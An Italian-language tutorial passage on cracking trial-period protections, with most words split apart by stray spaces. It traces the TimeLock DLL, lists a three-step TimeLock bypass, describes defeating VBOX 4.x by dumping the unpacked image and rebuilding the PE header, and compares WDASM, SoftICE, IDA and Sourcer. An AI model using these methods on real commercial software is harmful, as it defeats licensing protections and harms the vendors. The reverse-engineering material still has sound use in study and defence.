I n quest a DLL t r ovi amo l oe f unzi onbi che vanno al egger e dent r o al r egi st r o.

Imported functions : e:\Programmi\Rational\tl31inj.dll
======================================================
........
ADVAPI32 301 RegOpenKeyA
ADVAPI32 302 RegOpenKeyExA
ADVAPI32 309 RegQueryValueA
ADVAPI32 310 RegQueryValueExA
........

I l codi ce, i ndi pendement e da quel l o che f a l a f unzi one, i l seguent e.

:00955000 push [esp+0C]
:00955004 push [esp+0C]
:00955008 push [esp+0C]
:0095500C push E6B0A125
:00955011 push 63B51C5C
:00955016 push E1F34295
:0095501B call TL31INJ.?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z
:00955021 push FFFFFFFF
:00955026 call eax
:00955028 ret 000C

Come pot et e veder e esi st e t r a l e pr i me i st r uzi oni l a chi amat a al si st ema del l a
pr ot ezi one.
L i ndi r i zzo del l a seconda cal l speci f i cat o i n eax i l cui val or e si cur ament e
set t at o dal l a f unzi one chi amat a pr ecedent ement e.
Nel caso i n cui i l t empo di pr ova si a super at o l i ndi r i zzo del l a cal l i n eax
r el at i vo a quel l o di un Exi t Pr ocedur e.
Se non f osse scadut o si cur ament e sar ebbe st at o quel l o di un ent r y poi nt gi ust o.
I n condi zi oni nor mal i , se si f osse anal i zzat o e vi st o dove veni va i nvi at a l a
cal l , appena i nst al l at o i l sof t war e magar i s sar ebbe pot ut a scr i ver e una pat ch
cambi ando l a pr i ma cal l con quel l a gi ust a.
Or a che i l sof t war e scadut o si pu sol o segui r e l a DLL e veder e dove
memor i zzat a l a dat a.
La DLL qui ndi deve esser e car i cat a e debuggat a.
E qui l a vi t a si compl i ca i n quant o vi ene f at t o al l i nt er no un gi oco si mi l e a
quel l o che avevo most r at o con i punt at or i a f unzi one i n cui i n un ar r ay veni va
messo i l codi ce esadeci mal e di i st r uzi oni assembl er e poi l i ndi r i zzo di quest o
ar r ay veni va, medi ant e un cast , assegnat o ad un punt at or e a f unzi one.
I n quest o caso vengono i nser i t i codi ci ed i ndi r i zzi dent r o al l o st ack e
successi vament e l i ndi r i zzo del l o st ack vi ene i nser i t o come vet t or e di un
i nt er r upt .
Con pr eci si one quest o i ndi r i zzo vi ene sal vat o al l i ndi r i zzo f s: 00000000.
Ri pr endi amo i l codi ce di pr i ma.

:00955000 push [esp+0C]
:00955004 push [esp+0C]
:00955008 push [esp+0C]
:0095500C push E6B0A125
:00955011 push 63B51C5C
:00955016 push E1F34295
:0095501B call TL31INJ.?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z
:00955021 push FFFFFFFF
:00955026 call eax
:00955028 ret 000C

Tr ami t e l e f i nest r e di wat ch di WDASM di amo un occhi at a a come si t r ova l o st ack
pr i ma del l a cal l ( a f i anco ho i nser i t o i l push che l o ha gener at o) .

[esp+00000000] - e1f34295 .B.. - :00955016 push E1F34295
[esp+00000004] - 63b51c5c \..c - :00955011 push 63B51C5C
[esp+00000008] - e6b0a125 %... - :0095500C push E6B0A125
[esp+0000000C] - 00000000 .... - :00955008 push [esp+0C]
[esp+00000010] - 815fb5ac .._. - :00955008 push [esp+0C]
[esp+00000014] - 00a80000 .... - :00955008 push [esp+0C]

La f unzi one Pl easeTr aceI nt oMe_Mr Cr acker cont i ene al l i ni zi o :

?PleaseTraceIntoMe_MrCracker@@YGKKKPAEPAXKK@Z()
:10013F20 mov eax, dword ptr fs:[00000000] - SALVA IL VALORE
:10013F26 push ebp
:10013F27 mov ebp, esp
:10013F29 push FFFFFFFF
:10013F2B push 10015E8E
:10013F30 push eax
:10013F31 mov dword ptr fs:[00000000], esp - E ORA LO SOSTITUISCE
:10013F38 mov eax, 00006768
:10013F3D sub esp, 00000004
:10013F40 call TL31INJ.10029CB0

Pr endi amo l o st at o del l o st ack pr i ma del l i st r uzi one : 10013F31 mov dwor d pt r
f s: [ 00000000] , esp che sal va ad un cer t o i ndi r i zzo quel l o del l o st ack.
Lo st at o del l o st ack or a

[esp+00000000] - 00b8ff68 h... :10013F30 push eax
[esp+00000004] - 10015e8e .^.. :10013F2B push 10015E8E
[esp+00000008] - ffffffff .... :10013F29 push FFFFFFFF
[esp+0000000C] - 00b8ff78 x... :10013F26 push ebp
[esp+00000010] - 00955021 !P.. INDIRIZZO DI RITORNO MESSO DALLA CALL
CORRISPONDE ALLA PUSH FFFFF DOPO LA CALL
A PleaseTraceIntoMe_MrCracker
[esp+00000014] - e1f34295 .B.. FINO A QUESTO PUNTO LO ABBIAMO VISTO
[esp+00000018] - 63b51c5c \..c
[esp+0000001C] - e6b0a125 %...
[esp+00000020] - 00000000 ....
[esp+00000024] - 815fb5ac .._.
[esp+00000028] - 00a80000 ....


I n cont r apposi zi one ad al cune DLL eccessi vament e compl esse ne esi st ono di t r oppo
scont at e.
Ad esempi o un cer t o pr ogr amma xxxx. exe vi ene car i cat o con WDASM e dopo aver
guar dat o qual i DLL er ano col l egat e ne r i sul t ava sol o una appar t enent e al
pr ogr amma.

ADVAPI32.DLL
COMCTL32.DLL
COMDLG32.DLL
GDI32.DLL
KERNEL32.DLL
MPR.DLL
OLE32.DLL
OLEAUT32.DLL
SHELL32.DLL
SHRLK21.DLL ----------- QUESTA
USER32.DLL
WINMM.DLL

Guar dando con ScanBi n dent r o a quest a DLL veni va f uor i :

Exported functions : c:\Windows\SYSTEM\ShrLk21.dll
==================================================
0 GetDriveNumber
1 GetStatus
2 GetDLLVersion
3 DoRegistration
4 PassHandle
5 ShowAboutDialog
6 GetSerialNumber
7 GetUserCompanyName
8 GetUserName
9 GetExpirationDate
10 GetTryNumber
11 InputUnlockCode
12 GetTrialPeriodRemaining
13 CheckProtectionDLL

Chi ar ament e sal t a subi t o al l occhi o Get Expi r at i onDat e.
Cl i ckando sul l a DLL i n WDASM vi ene r i chi est o se l egger e l a DLL.
Dopo aver l a l et t a anal i zzando l e f unzi oni i mpor t at e vengono most r at e appunt o
quel l e f unzi oni .

CheckProtectionDLL
DoRegistration
GetDLLVersion
GetDriveNumber
GetExpirationDate
GetSerialNumber
GetStatus
GetTrialPeriodRemaining
GetTryNumber
GetUserCompanyName
GetUserName
InputUnlockCode
PassHandle
ShowAboutDialog
ShowAboutDialog

Met t o subi t o n br eakpoi nt su Get Expi r at i onDat e e mando i n esecuzi one i l
pr ogr amma.
Spesso quest e f unzi oni cosi vi st ose, se cos si pu di r e, sono sol o specchi et t i
per l e al l odol e.
Se voi dovest e scr i ver e del l e f unzi oni per pr ot egger e un vost r o pr ogr amma gl i
dar est e dei noi cosi ?
Comunque pr ovar e non cost a nul l a.
Gener al ment e se sono f unzi oni per cr ear e conf usi one non vengono neppur e
chi amat e, per cui met t endo dei br eakpoi nt s non vi f er mer et e mai i n quei punt i .
Usando Sof t I ce dovr et e i nt er veni r e nel f i l e wi ni ce. dat aggi ungendo l a l i nea :

EXP=<drive:><dir>\file.dll

Chi ar ament e dopo aver i nser i t o quest a aggi unt a dovr et e r eset t ar e e r i l egger e
Sof t I ce.


VBOX INTORNO ALLA VERSIONE 4.xx


Una del l e pr ot ezi oni pi f amose si cur ament e VBOX l a qual e esegue una codi f i ca
sui f i l e che pr ot egge.
I l t er mi ne pr ot ezi one non adat t o i n quant o di f at t o VBOX quel l a che vi ene
chi amat a TI MELOCK ovver o quel modul o che per met t e di ut i l i zzar e i l pr ogr amma per
X gi or ni .
I n uno dei capi t ol i pr ecedent i abbi amo vi st o di ver se ut i l i t i es t r a cui al cuni
Dumper .
I l bypass di VBOX necessi t appunt o di una di quest e ut i l i t y t i po Sof t Dump.
I l cr acki ng del codi ce con Ti meLock si esegue i n t r e passi :

1) Con softice si passa sopra alle chiamate alle DLL tl*inj.dll e ci si scrive a
mano da qualche parte il valore di eax l entry point reale.

2) Con SoftDump si salva in un file una porzione di codice sufficientemente
lungo partendo dal punto precedente.

3) Eseguire la patch di questo codice dentro all EXE

Con VBOX l a pr ocedur a si mi l e ma un po pi compl essa.
I f i l e pr ot et t i con VBOX mant engono l o st esso nome del l or i gi nal e ma cambi a
qual che cosa nel l a st r ut t ur a.
Di f f er ent ement e dai val or i degl i usual i . r el oc e . r sr c esso ha una sezi one
PREVI EWpur ament e vi r t ual e e una sezi one Wei j unLi l a qual e cont i ene al cune l i nee
di codi ce e i dat i packat i .
La pr ot ezi one compost a da t r e DLL: vboxp40, vboxb40 e vboxt 40 di cui sol o l a
pr i ma nor mal e ment r e l e al t r e due sono packed.
Quando i l pr ogr amma pr ot et t o par t e r i chi ama vboxp40.PreviewExecGate_By_WeijunLi
l a qual e esegue l unpack del l i mmagi ne del pr ogr amma or i gi nal e cr eando l a
sezi one PREVI EW.
Essa esegue anche l unpack di al cune al t r e pi ccol e sezi oni che eseguono del l e
chi amat e al l uni cha f unzi one espor t at a da vboxb40. dl l l e qual i esegue a sua
vol t a una cal l a vboxt40.PreviewParadise_WJ.
Per cr ackar e VBOX suf f i ci ent e at t ender e che quest a f acci a una par t e del
l avor odi unpacki ng e decr ypt i ng, sal var e
l i mmagi ne con Sof t Dump e at t accar e un
nuovo header PE f at t o da noi .
VBOX deve esegui r e l a f unzi one di l et t or e
di se st esso, pr ocessar e l a sezi one
. i dat a, l egger e i modul i Get Pr ocAddr ess
ecc.
Da quest o punt o i ni zi a i l l avor o ver o e
pr opr i o.
Le i nf or mazi oni sugl i ogget t i i mpor t at i
sono pr epr ocessat i e sal vat i i n f i l e f i l es
separ at i i n f or ma f or t ement e encr ypt at a.
Sol t ant o quando una passa t ut t i i checks
al l or a l e i nf or mazi oni i ni zi ano ad esser e
pr ocessat e e l a t abel l a degl i i ndi r i zzi
i mpor t at i del l a sezi one . i dat a vengono
r i empi t i con gl i i ndi r i zzi r eal i .
Cos i cont enut i or i gi nal i del l a sezi one
. i dat a non sono mai esaust or at i e qui ndi
l i ni zi al e pi ano di at t acco deve esser e mut at o.
Bi sogna di r e che anche i n quest o caso l e i nf or mazi oni pot r ebber o val er e sol o
come pr i nci pi o dat o che quest e met odol ogi e sono i n cont i nua evol uzi one.
Chi ar ament e i met odi per l a spr ot ezi one vengono pubbl i ci zzat e per cui ,
dal l al t r a par t e, i pr oget t i st i di quest i si st emi cont i nuano ad evol ver e i l or o
sof t war e.
Tr a l e var i e evol uzi oni possono esser ci si st emi adat t i a r i nt r acci ar e i
debugger , di ver si met odi di codi f i ca i n modo che pr ogr ammi come cer t i
DUMPER/ DECODER non f unzi oni no e cosi vi a.
Nel l e ver si oni i nt or no al l a 4. x di VBOX i l concet t o sul f unzi onament o di quest o
er a, come spi egat o pr i ma, pi sempl i ce.
Nel l a vecchi a ver si one di VBOX esi st eva una chi amat a ad una f unzi one che
esegui va l a decodi f i ca di quant o codi f i cat o e che r i t or nando cont eneva i n EAX
l i ndi r i zzo del l a f unzi one di dove er a i l pr ogr amma o del l a f unzi one di Exi t .
I l codi ce somi gl i ava a :

call 00462345
push 0FFFFFFF
call eax

La f unzi one che esegui va l unpack er a
quel l a speci f i cat a a 00462345.
Nel l e ul t i me ver si oni l e cose sono
cambi at e t ant o che sof t war e come
Sof t I ce necessi t ano di par t i col ar i
modi f i che al f i ne di nasconder e i l
debugger st esso a VBOX.
Fr ogI CE pu ser vi r e a nasconder e
Sof t I ce.
Fr ogI ce deve esser e di sabi l i t at o ment r e
si l egge i l pr ogr amma con i l l oader di
Sof t I ce i n quant o nasconder ebbe anche
al l oader l o st esso.
Quel l a che segue l a mascher a che vi ene f uor i con Sof t I ce.
Se si cer ca di l egger e l e i nf or mazi oni r i por t at e da al cuni pr ogr ammi come
ScanBi n si ha come r i spost a :

General informations : e:\Programmi\DeepPaint\DeepPaint.exe
===========================================================
Last update : 10/10/99
File size : 196 608 byte(s)
Module type : not DOS or WINDOWS executable

Anche WDASM nel l ul t i ma ver si one di VBOX cr ea pr obl emi f i n dal l i ni zi o.
Ef f et t i vament e esi st e una di f f er enza buona t r a i l codi ce cr eat o t r a WDASM e
quel l o gener at o da I DA.

:007571E2 or eax, esp
:007571E4 xor eax, esp
:007571E6 xor eax, ebp
:007571E8 or eax, ebp
:007571EA xor ah, al
:007571EC xor eax, ebp
:007571EE xor eax, ebp
:007571F0 mov eax, ebp
:007571F2 xor eax, ebp
:007571F4 mov eax, ebp
:007571F6 dec eax

I l codi ce si r i f er i sce ad una nuova ver si one di VBOX con cui WDASM f a a bot t e.
I l codi ce gener at o da I DA i nvece :

PREVIEW:00401000 ; File Name : E:\Programmi\DeepPaint\DeepPaint.exe
PREVIEW:00401000 ; Format : Portable executable (PE)
PREVIEW:00401000 ; Section 1. (virtual address 00001000)
PREVIEW:00401000 ; Virtual size : 00355A24 (3496484.)
PREVIEW:00401000 ; Section size in file : 00000000 ( 0.)
PREVIEW:00401000 ; Offset to raw data for section: 00000000
PREVIEW:00401000 ; Flags E0000020: Text Executable Readable Writable
PREVIEW:00401000 ; Alignment : 16 bytes ?
PREVIEW:00401000 ; Exported entry 332. ?MemSize@CDIBLite@@QAEHXZ
PREVIEW:00401000
PREVIEW:00401000 p586
PREVIEW:00401000 model flat
PREVIEW:00401000
PREVIEW:00401000 ; Segment type: Pure code
PREVIEW:00401000 PREVIEW segment para public 'CODE' use32
PREVIEW:00401000 assume cs:PREVIEW
PREVIEW:00401000 ;org 401000h
PREVIEW:00401000 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:n
ot
PREVIEW:00401000 public ?MemSize@CDIBLite@@QAEHXZ
PREVIEW:00401000 ; public: int __thiscall CDIBLite::MemSize(void)
PREVIEW:00401000 ?MemSize@CDIBLite@@QAEHXZ dd 4 dup(?)
PREVIEW:00401010 ; Exported entry 10. ??0CDIBLite@@QAE@AAV0@@Z
PREVIEW:00401010 public ??0CDIBLite@@QAE@AAV0@@Z

WeijunLi:00757000 ; Section 2. (virtual address 00357000)
WeijunLi:00757000 ; Virtual size : 00138A04 (1280516.)
WeijunLi:00757000 ; Section size in file : 00138A04 (1280516.)
WeijunLi:00757000 ; Offset to raw data for section: 00000400
WeijunLi:00757000 ; Flags E2000060: Text Data Discardable Executable Readable
Writable
WeijunLi:00757000 ; Alignment : 16 bytes ?
WeijunLi:00757000 ; Segment type: Pure data

WeijunLi:00757000 WeijunLi segment para public 'DATA' use32
WeijunLi:00757000 assume cs:WeijunLi
WeijunLi:00757000 ;org 757000h
WeijunLi:00757000 db 8Ah ;
WeijunLi:00757001 db 11h ;

Dent r o al l a sezi one Wei j unLi esi st e l o START l a cui ul t i ma i st r uzi one
compr ensi bi l e equi val e al sal t o al l a r out i ne loc_757241.
Dopo i l sal t o e pr i ma di t al e r i f er i ment o esi st ono sol o dat i non i dent i f i cat i
come i st r uzi oni .


; _______________ S U B R O U T I N E _______________________________________


public start
start proc near
sub eax, ebp
or eax, ebp
xor eax, eax
mov eax, ebp
xchg ah, al
or eax, esp
xor eax, esp
xor eax, ebp
or eax, ebp
xor ah, al
xor eax, ebp
xor eax, ebp
mov eax, ebp
xor eax, ebp
mov eax, ebp
dec eax
xor eax, ebp
jz short $+2
dec eax
dec eax
sub eax, ebp
mov eax, fs
jz short $+2
xor eax, eax
inc eax
jnz short $+2
sub eax, ebp
jnz short $+2
jmp short loc_757241

Come possi bi l e veder e i l codi ce sal t a al l a f i ne a l oc_757241.

; ---------------------------------------------------------------------------

loc_757241: ; CODE XREF: start+34j
push ebp
mov ebp, esp
add esp, 0FFFFFFE8h
push esi
push edi
mov esi, offset unk_757054
mov eax, [ebp+8]
mov [esi+54h], eax
push dword ptr [ebp+0Ch]
pop dword ptr [esi+58h]
mov eax, [ebp+10h]
mov [esi+5Ch], eax
push esi
call sub_757271
pop edi
pop esi
leave
retn 0Ch
start endp ; sp = 4

; ---------------------------------------------------------------------------



DIFFERENZE TRA I VARI DISASSEMBLATORI

Abbi amo vi st o l e car at t er i st i che di var i pr ogr ammi consi der at i come i f er r i del
mest i er e per i l cr acki ng.
Si cur ament e t ant i pr ogr ammi , anche i ndi spensabi l i , possono esser e consi der at i
col l at er al i ma si cur ament e i debugger / di sassembl at or i sono quel l i f ondament al i .
Ne esi st e, coma abbi amo vi st o, un ampi a scel t a, t ut t i c0on car at t er i st i che
si mi l i ma spesso con f unzi oni uni che.
Qual i sono i mi gl i or i e qual i convi ene usar e ?
Una r i spost a cer t a non esi st e pr opr i o per i l f at t o che al cune f unzi oni , ut i l i i n
cer t i casi , sono pr esent i sol o i n al cuni di quest i e qui ndi l a val ut azi one deve
esser e f at t a caso per caso.
La sol uzi one mi gl i or e quel l a di di spor r e di t ut t i e di usar e al moment o gi ust o
quel l o che possi ede l e car at t er i st i che mi gl i or i per quel moment o.
Bi sogna subi t o di st i nguer e l a di f f er enza f ondament al e.
Esi st ono debugger che per met t ono di esegui r e st ep by st ep i l codi ce ed esi st ono
di sassembl at or i che i nvece cr eano i sor gent i i n assembl er del pr ogr amma i n
quest i one.
WDASM ad esempi o un debugger / di sassembl at or e i n quant o svol ge t ut t e e due l e
f unzi oni .
I DA i nvece un pot ent e di sassembl at or e.
Sof t I ce un debugger e cosi vi a consi der ando SOURCER, Wi nDbg ecc.
Vedi amo i debugger per capi r e qual i sono l e di f f er enze sost anzi al i .
La val i di t di un debugger non t ant o i l modo con cui r i esce a r i cr ear e i l
sor gent e ( i n f ase di debug aver e r i cost r ui t e l e st r ut t ur e, l e di r et t i ve ecc. non
par t i col ar ment e i nt er essant e) .
Da par t e di un debugger i nvece da consi der ar e l a var i et dei met odi di
vi sual i zzazi one dei dat i e quel l a dei br eakpoi nt di sponi bi l i .
Esi st ono debugger che per met t ono di set t ar e br eakpoi nt mol t o sempl i ci come ad
esempi o quel l i r el at i vi ad un i ndi r i zzo speci f i co ( f er mat i quando quest a
i st r uzi one vi ene esegui t a) ma non di spongono di al t r i che per met t ono di
i dent i f i car e event i par t i col ar i .
Ad esempi o Sof t I ce che si cur ament e quel l o pi compl esso per l a var i et di
br eakpoi nt che possi ede per met t e di set t ar e br eakpoi nt condi zi onal i sf r ut t ando
un suo l i nguaggi o, br eakpoi nt su messaggi speci f i ci di Wi ndows, sul l a chi amat a
di par t i col ar i f unzi oni i mpor t at e ecc.
WDASM i nvece mol t o pi sempl i ce come var i et per met t endo sol o al cuni
br eakpoi nt su chi amat e ad Api di Wi ndows, su cer t e l i nee e pochi al t r i t i pi .
Esi st e un' al t r a di f f er enza sost anzi al e t r a WDASM e Sof t I ce.
I l secondo un debugger di si st ema.
Che cosa si gni f i ca quest o ?
Quando i n WDASM car i cat e un pr ogr amma i l sor gent e assembl er vi sual i zzat o, quel l o
che pot et e segui r e, sol t ant o r el at i vo a quest o e qui ndi anche i br eakpoi nt
pot et e i nser i r l i sol o su quest o.
Sof t I ce i nvece essendo di si st ema vi most r a i l codi ce che i l si st ema st
eseguendo i n quel caso.
Wi ndows possi ede mol t i ssi mi pr ocessi at t i vi i n concor r enza compr esi i suoi
i nt er ni come quel l i ad esempi o dest i nat i a gest i r e i l mul t i t aski ng.
Quando voi chi amat e Sof t I ce pot r est e aver e l a vi sual i zzazi one del codi ce che st a
eseguendo i n quel i st ant e che pot r ebbe esser e anche r el at i vo a f unzi oni sue del
si st ema oper at i vo, di dr i ver s ecc.
Sof t I ce di spone di una gr ossa gamma di f unzi oni l egat e al l a vi sual i zzazi one di
i nf or mazi oni .
Ad esempi o esi st ono i comandi per vi sual i zzar e i dat i dei TASKS at t i vi , dei
pr ocessi , del l e Wi ndows ecc.
Nei comandi di cr eazi one dei br eakpoi nt Sof t I ce di spone del l a possi bi l i t di
speci f i car e t r a i par amet r i i val or i dei t asks, pr ocessi o wi ndows a cui vol et e
che si a r i f er i t o quest ul t i mo.
Gener al ment e pot r est e chi eder e che l esecuzi one venga sospesa nel l i st ant e i n
cui vi ene chi amat o un messaggi o WM_DESTROY, ad esempi o.
Si . Ma a qual e f i nest r a vi i nt er essa che si a r i f er i t o i l messaggi o ?
I n quel l i st ant e pot r ebber o esser ci di ver se f i nest r e at t i ve.
Medi ant e i l comando HWND pot r est e r i chi eder e d aver e l i st at i gl i handl es del l e
wi ndows at t i ve e successi vament e ut i l i zzar e i l val or e r el at i vo a quel l a che vi
i nt er essa per set t ar l o come par amet r o.
Speci f i cando :

BMSG 00CE WM_DESTROY

Speci f i cher est e che i l si st ema dovr ebbe i nt er r omper e l esecuzi one nel caso i n
cui si ver i f i chi un messaggi o WM_DESTROY r el at i vo al l handl e del l a Wi ndow 00CE.
Chi ar ament e un debugger come Sof t I ce enor mement e pi pot ent e di WDASM ma anche
mol t o pi compl esso t ant o che spesso e vol ent i er i WDASM mol t o pi i ndi r i zzat o
a svol ger e cer t e f unzi oni .
A vol t e usar e un cami on i n ci t t di vent a pi compl esso che usar e un 500.
WDASM i nol t r e di spone di una ser i e di f i nest r e i n cui l e i nf or mazi oni necessar i e
sono ben st r ut t ur at e e vi sual i zzat e dent r o a quest e senza che dobbi at e
r i chi eder e medi ant e comandi l a vi sual i zzazi one di cer t e i nf or mazi oni .
Spesso i sor gent i assembl er f anno r i f er i ment o ai r egi st r i ut i l i zzat i con val or i
d i ndi ce.

Mov eax+10h, 34h

WDASM di spone di t ut t i i val or i r el at i vi ai r egi st r i i una comodi ssi ma f i nest r a.
Sof t I ce i nvece deve r i chi eder e sempr e con i comandi speci l i zzat i l a
vi sual i zzazi one del l e i nf or mazi oni di quest o t i po.
Spesso l a r i cost r uzi one del sor gent e r i chi ede di ver si passaggi da apar t e
del l anal i zzat or e.
WDASM pr i ma di vi sual i zzar e i l sor gent e esegue un anal i si ment r e Sof t I ce
vi sual i zza br ut al ment e l a memor i a come l a vede i n quel l i st ant e.
I nf at t i WDASM si r i f er i sce ad un sol o pr ogr amma per cui pr i ma di i nzi ar e
l esecuzi one pu per met t er si di esegui r e l e var i e passat e r el at i ve al l a
r i cost r uzi one del sor gent e assembl er .
Sof t I ce r i f er endosi a t ut t o i l sof t war e i memor i a non pu f ar e al t r o se non
vi sual i zzar e un br ut al e assembl er con al massi mo l a sof f i st i cazi one di
vi sual i zzar e i l nome del segment o! nomedel l af unzi one i nvece del l i ndi r i zzo,
dent r o ad una cal l o ad un sal t o.
Nel capi t ol o r el at i vo al l a pr ef azi one al l e r i cer che abbi amo par l at o sul l a t eor i a
gener al e l egat a a cosa cer car e per i ndi vi duar e cer t e f unzi oni .
Al cune vol t e, abbi amo vi st o, l a vi t a sempl i ce per ch medi ant e l a r i cer ca di
sempl i ci Get Dl gI t emText i dent i f i chi amo subi t o dove sono posi zi onat e l e r out i nes
r el at i ve al l a ser i al i zzazi one di un pr ogr amma.
I n quest o caso l ut i l i zzo di WDASM da consi gl i ar e r i spet t o a Sof t I ce.
Al t r e vol t e l a vi t a di vent a compl i cat a e l i ndi vi duazi one di cer t e f unzi oni deve
esser e esegui t a t r ami t e br eakpoi nt mol t o compl essi cose che WDASM non possi ede.
I n quest o caso Sof t I ce di vent a i ndi cat o.
I n al t r e par ol e si deve r i pet er e l a met af or a che ho ut i l i zzat o poco pr i ma.
Se dovet e f ar e un l avor o mol t o pesant e al l or a usat e un cami on t enendo pr esent e
che avr et e di f f i col t a f ar e manovr e.
Se i nvece i l l avor o si pr esent a sempl i ce pr endet e un ut i l i t ar i a.
Avr et e l a vi t a pi sempl i ce.
Sof t I ce per met t e l a cr eazi one di di ver si t i pi di br eakpoi nt di ver si f i candol i
anche per t i po di ut i l i zzo di quest i .
I nnanzi t ut t o l a gest i one dei br eakpoi nt per met t e che quest i vengano cr eat i da
al t r i br eakpoi nt .
Cost r ut t i t i po :

bpx addr do bpx addr

per met t ono di cr ear e i l secondo br eakpoi nt quando si ver i f i ca i l pr i mo.
Una del l e di f f er enze maggi or i st nel f at t o che gener al ment e i br eakpoi nt
vengono set t at i sul l esecuzi one di speci f i ci i ndi r i zzi di memor i a.
Sof t I ce per met t e di speci f i car e se i br eakpoi nt s devono esser e set t at i sul l a
l et t ur a, scr i t t ur a o esecuzi one degl i speci f i ci i ndi r i zzi .
Sof t I ce i nol t r e per met t e di gener al i zzar e i br eakpoi nt r el at i vi a cer t e f unzi oni
i mpor t at e.
I n al t r e par ol e possi bi l e speci f i car e di f er mar e l esecuzi one nel caso di una
chi amat a ad una f unzi one con :

bpx GetDlgItemTextA

I n WDASM i nvece possi bi l e r i chi amar e l a f i nest r a del l e f unzi oni i mpor t at e e
cl i ckando sul l e f unzi oni desi der at e posi zi nar si su ci ascuna di quest e nel punt o
dove sono si t uat e nel pr ogr amma i nser endo i br eakpoi nt dove si vul e.
Se nel pr ogr amma esi st ono 50 r i chi ami ad una speci f i ca f unzi one sar necessar i o
cl i ckar e 50 vol t e posi zi onandosi su ci ascuna di quest e e set t ando dove si vuol e
i l br eakpoi nt .
Vol endo r i assumer e i vant aggi e gl i svant aggi di WDASM e di SOFT I CE :

WDASM SOFTI CE
Vi sual i zzazi one dei val or i dei r egi st r i
+ i ndi ci i n una comoda wi ndow.
Vi sual i zzazi one dei val or i da
r i chi eder e t r ami t e comandi .
Numer o di val or i vi sual i zzabi l i
st abi l i t i da quel l i i n una f i nest r a con
due val or i ut ent e r eal t i vi ad i ndi r i zzi
di memor i a speci f i cabi l i al moment o.
Numer o i l l i mi t at o di val or i
vi sual i zzabi l i i n var i e f i nest r e dat i .
Sor gent e assembl er el abor at o i n pi
passaggi e qui ndi abbast anza
det t agl i at o.
Sor gent e assembl er br ut al e l egat o al
codi ce i n memor i a.
Br eakpoi nt l i mi t at i a numer o di l i nea
del l i st r uzi one.
Br eakpoi nt l egat i al l a chi amat a di API
wi ndows.
Ti pi di br eakpoi nt el evat o cr eat i anche
t r ami t e l i nguaggi o di Sof t I ce che
per met t e l acr eazi one di br eakpoi nt
condi zi onal i .
I br eakpoi nt sono l a f or za di Sof t I ce.
Vi sual i zzazi one sol t ant o del codi ce del
pr ogr amma r i chi est o.
Vi sual i zzazi one di t ut t o i l codi ce nel
si st ema.
Possi bi l i t di sal var e i l sor gent e. Sor gent e non sal vabi l e.

I n quest a panor ami ca non ho pr eso i n consi der azi one al t r i debugger per ch t r oppo
amat or i al i oppur e per ch i ndi r i zzat i ai sor gent i .
Mi r i f er i sco ai debugger f or ni t i con i l i nguaggi Bor l and e Mi cr osof t che
di spongono di t ant e f unzi oni da usar e con i pr opr i l i nguaggi medi ant e
compi l azi one debug di quest i e qui ndi con l e i nf or mazi oni si mbol i che i nt er ne.
Tr a quest i t r ovi amo
cool DB32 i l qual e
i ncor por a al suo
i nt er no di ver se
ut i l i t i es

qual i un HexVi ewer ,
un Dump e un
di sassembl er .
Ri cor do sempr e che l a
di f f i col t i n quest o
set t or e quando si
ha a che f ar e con
si st emi packat i per
cui l ut i l i zzo del
sempl i ce debugger non
suf f i ci ent e o
per l omeno non cos
sempl i ce come pot r ebbe
esser l o con un al t r o
pr ogr amma.
Or a pr endi amo i n vi si one i di sassembl at or i e pr eci sament e WDASM, I DA e SOURCER.
WDASM l o abbi amo gi vi st o
par l ando del l a sua par t e
debugger .
Sour cer si cur ament e uno dei
pi vecchi .
Me l o r i cor do al meno dal 1987
quando er a si cur ament e uno dei
pochi ssi mi ( se non l uni co) .
I n t ut t i quest i anni ha
mant enut o l a st essa
i nt er f acci a i n ambi ent e DOS
nel l a qual e possi bi l e
speci f i car e t ut t i i par amet r i
r eat i vi al l a met odol ogi a di
vi sual i zzazi one e di anal i si dei
pr ogr ammi .
La t r aduzi one dei sor gent i assembl er
r el at i vi a pr ohgr ammi Wi ndows deve
avveni r e medi ant e due pr ogr ammi f or ni t i
nel pacchet t o.
I l pr i mo esegue una pr i ma anal i si di
quest o t i po di pr ogr ammi .
WI NP esegue un pr epr ocessi ng del f i l e
esegui bi l e eseguendo i l dump NE e usando
f i l e . DTA f or ni t i con i l pacchet t o per l a
cr eazi one di un modul o ut i l i zzabi l e da
SOURCER ver o e pr opr i o.
I l pr ogr amma cr eat o pr ende l est ensi one
WDF.
SOURCER di spone di al cuni f l ag che per met t ono di speci f i car e i l f or mat o del f i l e
ot t enut o ( . l st o . asm) , di speci f i car e i l t i po di f or mat t azi one e l e
i nf or mazi oni r i por t at e ( codi ci oper at i vi a f i anco i st r uzi oni ecc. )
I nol t r e possi bi l e set t ar e mol t i f l ags r el at i vi al t i po di anal i si esegui t a.
Nel l a mascher a pr i nci pal e i l comando ( T) per met t e di speci f i car e i l TARGET
ASSEMBLER che pu esser e r el at i vo a MASM 5. 0, MASM6. 1, TASM e t ant i al t r i .
E i nol t r e possi bi l e speci f i car e i l numer o di passat e ( f at e at t enzi one che un
numer o maggi or e non eui val e ad una mi gl i or i nt er pr et azi one) , i l t i po del
pr ocessor e e t ant e al t r e cose.
I l RE comunque r i mane I DA che possi bi l e t r ovar e i n t ant e ver si oni t r a cui una
di dat t i ca FREEWARE.
Chi ar ament e non ho mai par l at o del l a di f f i col t di r eper i r e i l sof t war e i n
quant o penso che si a pr opr i o l ul t i mo dei pr obl emi .
I DA f ant ast i co.
I n t ut t i i l avor i ho sempr e cr eat o un ser gent e con I DA di cui l e par t i pi
si gni f i cat i ve l e ho st ampat e.
I par amet r i r el at i vi al l a cr eazi one dei sor gent i sono svar i at i come svar i at e
sono anche l e f unzi oni per l a vi sual i zzazi one e l a r i cer ca di cer t i punt i .
Quest o a f i anco un col l age con l e pr i nci pal i opzi oni pr esent i nei menu di I DA
3. 84 ( l ul t i ma al l a dat a di set t embr e 1999) .
I DA, non mi st anco di
r i pet er l o, si cur ament e i l
mi gl i or e come di sassembl at or e.
La r i cost r uzi one del sor gent e
assembl er i mpeccabi l e e
pr eci sa.
Nessun di sassembl at or e f i no ad
or a vi st o r aggi unge una si mi l e
pr eci si one.
Fat e at t enzi one che par l ando di
di sassembl at or i pot r emmo
t r ovar e l a pr obl emat i ca di
r i t r ovar ci davant i a dei
pr ogr ammi con segment i codi f i cat i con si st emi come shr i nker ecc.
